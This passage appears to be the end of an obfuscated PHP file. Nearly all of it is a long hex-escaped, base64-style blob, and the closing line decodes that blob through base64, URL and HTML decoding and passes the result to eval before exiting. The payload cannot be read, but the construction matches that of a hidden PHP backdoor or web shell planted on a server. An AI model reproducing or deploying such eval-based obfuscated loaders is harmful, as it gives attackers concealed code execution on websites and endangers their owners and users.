N\x56dnA\x5ac/\x774\x4foYoC\x374\x49\x61\x4d\x59h\x4eQt2\x59\x4bD\x6a+0\x42\x53i\x4e\x47\x77\x38D\x6aE\x6bHWH\x48E\x76O+\x58v\x7a\x5am+w\x7a\x45\x66\x79S\x63\x33w\x59\x52\x524\x31vM+Hm\x47e61P\x4f+\x47\x77\x42cpLtSD\x47\x61/7\x66\x75v\x44a\x34\x78G\x4d\x36\x46\x4f\x71/\x4e\x4ag\x38\x34V\x4d\x77\x41C\x32PF\x51\x54/\x70\x78\x45\x4cVp4R\x52\x56\x35\x59\x56FEW/\x31\x7a\x64r6jA\x56Mf\x70al\x32\x69\x6d\x7a\x66l5Z\x59\x61ry1\x4cn1S\x57\x35\x369+\x76\x44w+Ug\x6bHP5\x57L\x49\x5aW\x37\x50\x50\x58\x50q\x49\x5a\x5a\x66rHVV\x70m\x56\x56oJLz/bs\x69r\x6e4/d\x30i\x4e\x30\x6e\x65\x51\x762\x34\x561\x76P\x53T\x54QU\x61\x36rf/\x42\x78P\x5a8\x43WI\x63\x35xzg\x54gtt/\x56\x4a\x35\x50\x61o59sa\x31o\x47RX\x31/P/\x76\x79T7\x33F/\x50M\x73\x38l\x62ZC+Exi9z\x67\x55\x42\x68\x38\x45Oy\x6dKn\x4e\x6b\x70\x73\x46kO\x48\x67A\x64Q\x56\x6cI\x6a\x41\x78Cc\x55\x6b\x79Ko\x43A\x32v\x47n\x78c\x32\x35a\x4c\x63\x65\x41+w\x39\x66\x43\x4a\x54\x4d\x45D\x41\x44QDZ\x45\x71oN\x34\x4e\x4eDc\x67JxN\x6eK\x413\x76\x34Z\x76/l\x51\x47ska\x33\x38\x61W\x4d\x54\x56G\x4aP\x38\x73daP\x7a\x4et\x74\x6eH\x50\x57I\x64\x59\x73C\x583E\x78\x75\x50\x47+\x583a+\x79\x63jKcoI\x68x\x76Oj\x72\x39a\x729\x47\x37s\x72\x7aPdvjj\x42ydc+x\x44d\x46e\x74\x4c\x33Miu\x5a0N9\x5a\x4c\x51Ac4\x49\x37\x4fdO\x79G\x48r\x32\x6e\x33x1Zqhze\x57\x72R\x45\x46\x67\x44kTY\x79w\x49TA\x42n\x66\x34\x7134\x39\x6f\x66\x57Y6j\x68T\x5a\x63IY\x74/c\x58P\x48\x55\x67WV\x56\x45\x43\x72\x64Z\x6eG6\x78\x4aC\x392\x62X\x39\x69\x4d\x543\x4erV\x31\x4f\x365+\x53L\x4c\x51\x72e\x38Y\x76\x41\x70c\x4ct\x47WUe\x67\x39rl+\x45\x30C\x6f/\x44\x35\x4cV/\x4a\x50F7Up9\x48\x79+\x62\x34o\x41BiIQff\x38\x56\x62\x59\x4dva\x36+Jkv\x58\x79\x79P\x398\x65\x6ci\x457\x34hS\x38gd\x6cs\x63L\x69\x59\x41\x72Wd\x39b\x62n/\x67M\x69\x66Or72I\x55jjwCAyk\x41\x6fy\x35A\x45\x5aG\x46hVy\x6b\x35\x54Ev\x41P\x78\x46d\x61\x43\x4dT\x58b/7x8\x35qyg\x58\x71\x71sD\x43\x66\x53c/1i\x4e\x4c2\x65\x7a\x49\x7aN\x38k70\x53\x39o1b\x71\x70VaaovMfT\x4b9j\x6dql\x6dmq\x4a\x77/\x46MYE\x50cO\x34\x30KFNS\x41\x35\x56\x31\x72IS/g\x46p\x53\x46L\x53L\x611aP\x30\x72UC\x44Z\x54\x68\x6aV\x37a\x71qy\x5a\x6eF\x49fa+9\x630X\x5a\x58\x75X5uy\x6b\x41\x35vUKz\x34\x38m\x41\x7ahg\x59cO\x6cZIW\x57\x52\x44\x37\x51CVa\x7a\x67\x70A\x36\x41g\x41\x45\x4d\x33QYT\x69eA\x4f\x57\x79\x41\x38\x46kR\x32llV\x748\x4eWF\x42gJ\x41\x55\x35d\x4b\x44nJ43/\x6a\x51L\x34D\x76\x31//+\x47\x74\x55\x6c\x36\x66jOfR6oa\x52\x4bR\x58M7\x51\x52V+\x66\x72dv\x640h\x62\x41FTOU42\x63\x4bP\x392Q\x69\x30LM+s\x44\x32Z\x76\x4e\x31\x78\x58O\x4fP+\x73\x7auoxP\x4e\x5a\x6e\x62\x6e\x73\x7ap7cp\x4b\x66\x70s\x32\x41\x35\x489f6jN9\x4bRo\x66\x58XEK\x38/\x43jVM/\x34c\x37fy\x5aZw/J/w\x4dc\x73\x44nI\x6c\x6e4fZ\x4856\x52\x30G\x63Y\x74\x56\x56\x393\x34in\x33Mm\x70Lv\x452q7\x58\x57\x50bU\x37XY\x5ad\x38\x34\x4ata\x70127O\x68\x7a\x48X\x59Dnw/f\x50H\x66\x56\x4b\x55\x4aA\x62\x6f\x52Y\x42\x6f\x61v2Fp\x31\x5a\x4eZm\x6bJ6\x79Ok\x32\x63\x35aOUY\x30u\x76/F8\x5a\x38LwY\x6ex\x76D/\x47uF/\x61\x59\x57\x50jvIzElp6\x61j1+\x655\x754\x79\x68yxbt\x431\x4c\x58x3S/\x6d/h0e\x36\x50w\x76hu\x748O+e6\x4f\x34Pmv\x489H+3\x52\x56\x71\x33mrl\x58/6p\x73cTMM\x52\x6f\x37\x34\x41KG\x44\x4dRc\x7aJX/\x74\x33FC\x38ar\x39\x36\x31\x57f\x68Id\x5aVt6\x6a7\x6c9X\x73\x52fo6Q89\x32W\x32\x35p\x58\x32\x36\x78ffX\x64\x7a\x6cj/\x6b\x6d\x66Y\x73\x72/\x36\x51+\x42\x32\x34\x52\x32\x78\x56n\x74lN\x42\x62e\x78mi7/srH8x\x66\x722\x52N\x62/d\x486t+2q\x46I3\x342+\x6aOn\x5a\x6fv\x50\x62/\x61\x77634\x753W\x6e\x33G7\x71\x48/+\x78Kueg\x65\x74\x34v3\x39\x63\x48e\x41zbb\x644n\x32g\x34\x4e\x6a\x763\x465X\x4cG\x51D3/\x4b\x778\x32\x31P\x39\x36u\x662l\x48\x745\x53w9T\x76dxt\x54v9+z\x72\x37U\x56\x30/I\x77\x76\x50\x37\x68b\x644\x76x\x37\x58\x73x\x70\x48\x72/N\x76r7\x76\x64\x6bU\x36WX\x64/V\x35\x4dBd5nFt\x7aO\x39z\x37\x37\x64\x6b\x75\x4f\x59rD\x76\x38\x49\x37u\x67\x4f\x67\x32ft\x71\x4e/\x4el\x39\x37m\x75ed\x48eP\x7a/\x47hd\x357L\x397yX2\x65OMm\x74\x39\x7a\x62\x34xn3f9+\x448/x\x64\x4eP\x39\x57\x61d4b\x44Ob\x6el+\x57/8D\x42Yz\x71N5k\x52GZk\x5aGZk\x52\x47Z\x6dRU23\x46Hn\x76/\x71\x36\x73L\x4b\x6bx\x43\x53\x75R\x4d\x42J9z\x778\x69MP\x44\x7a\x33j\x7a\x7atr\x35\x35T/If/b\x70Y\x58\x4c\x41\x4b\x41Qk\x68R\x43A\x41J7+\x38\x71\x56y\x73Y\x37\x571\x4bbi\x74\x49\x4c\x53\x34Ka\x6dk\x74goE\x4f\x77vO\x313\x32\x34\x44\x6a\x73\x49\x74td\x70\x33\x62\x35\x63inpMk\x31\x38\x42w\x4aem\x47Q\x57+HQ\x70\x38r\x31AB\x556\x39a\x68QA";eval(htmlspecialchars_decode(urldecode(base64_decode(${$gqqruqu}))));exit;
?>